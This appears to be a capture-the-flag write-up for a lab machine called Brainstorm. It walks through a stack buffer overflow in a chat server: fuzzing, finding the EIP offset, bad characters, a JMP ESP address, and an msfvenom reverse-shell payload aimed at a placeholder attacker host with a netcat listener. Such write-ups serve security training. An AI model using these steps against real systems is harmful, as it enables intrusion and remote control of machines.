Brainstorm
Tasks:
- Deploy Machine and Scan Network:
- Scan with nmap as usual :
nmap -sC -sV -T5 ip
- Scan with nmap as usual :
Accessing Files:
- From nmap scan , ftp port open at 22, connect using
ftp ipand anonymous:anonymous as credentials.cd chatserver,bin,mget *andquit. - chatserver.exe and essfunc.dll downloaded. nc ip 9999- some chatserver is running, it might be the chatserver.exe we just downloaded through FTP.
- From nmap scan , ftp port open at 22, connect using
- Access:
- Transfer both exe and dll to windows machine.
- Executing exe, it takes 2 input (username and message) , username limits to 20 character, we can safely assume that message is where the bufferoverflow might be.
- Start debugging the chatserver with Immunity Debugger.
- Each time you are running python script, you will need to restart program in Immunity debugger.
- Use fuzz.py to determine length of buffer when program crashes ~ 2100
- Generate cyclic string using online tool or using metasploit framework pattern_create.rb and use the cyclic string as buffer in offset_finder.py_ _and run offset_finder.py after restarting chatserver in immunity debugger, when the program crashes note down the value of EIP register and enter the value in the online tool or pattern_offset.rb. You will get the resultant exact offset value where the buffer was overflowed - 2012.
- Run bad_char.py , again when program crashes look for missing bad characters if any by following ESP stack dump. If any of them is missing or not in order, try removing them from bad_char.py and repeat till all the bad characters are in same order as sent. - In this case only bad character was \x00 - null character.
- Run
!mona modulesin Immunity debugger to find dll and exe running without any additional security protections such as ASLR and DEP - chatserver.exe and essfunc.dll - Run
!mona find -s "\xff\xe4" -m essfunc.dllto find address of jmp esp instruction inside essfunc.dll, there will be multiple such address you can pick any of them (make sure there are no bad chars at this address) - 625014DF - Convert the address obtained to little endian format - "\xdf\x14\x50\x62" and we can use this as value of eip when we later use exploit.py.
- Generate msfvenom payload -
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKERIP LPORT=4444 -b '\x00' -f pyand copy the payload replace it in exploit.py. - Start netcat listener -
nc -nlvp 4444 - Run
python exploit.pyto get shell in netcat. cd C:\Users\drake\\Desktopandtype root.txtto get flag and submit !!!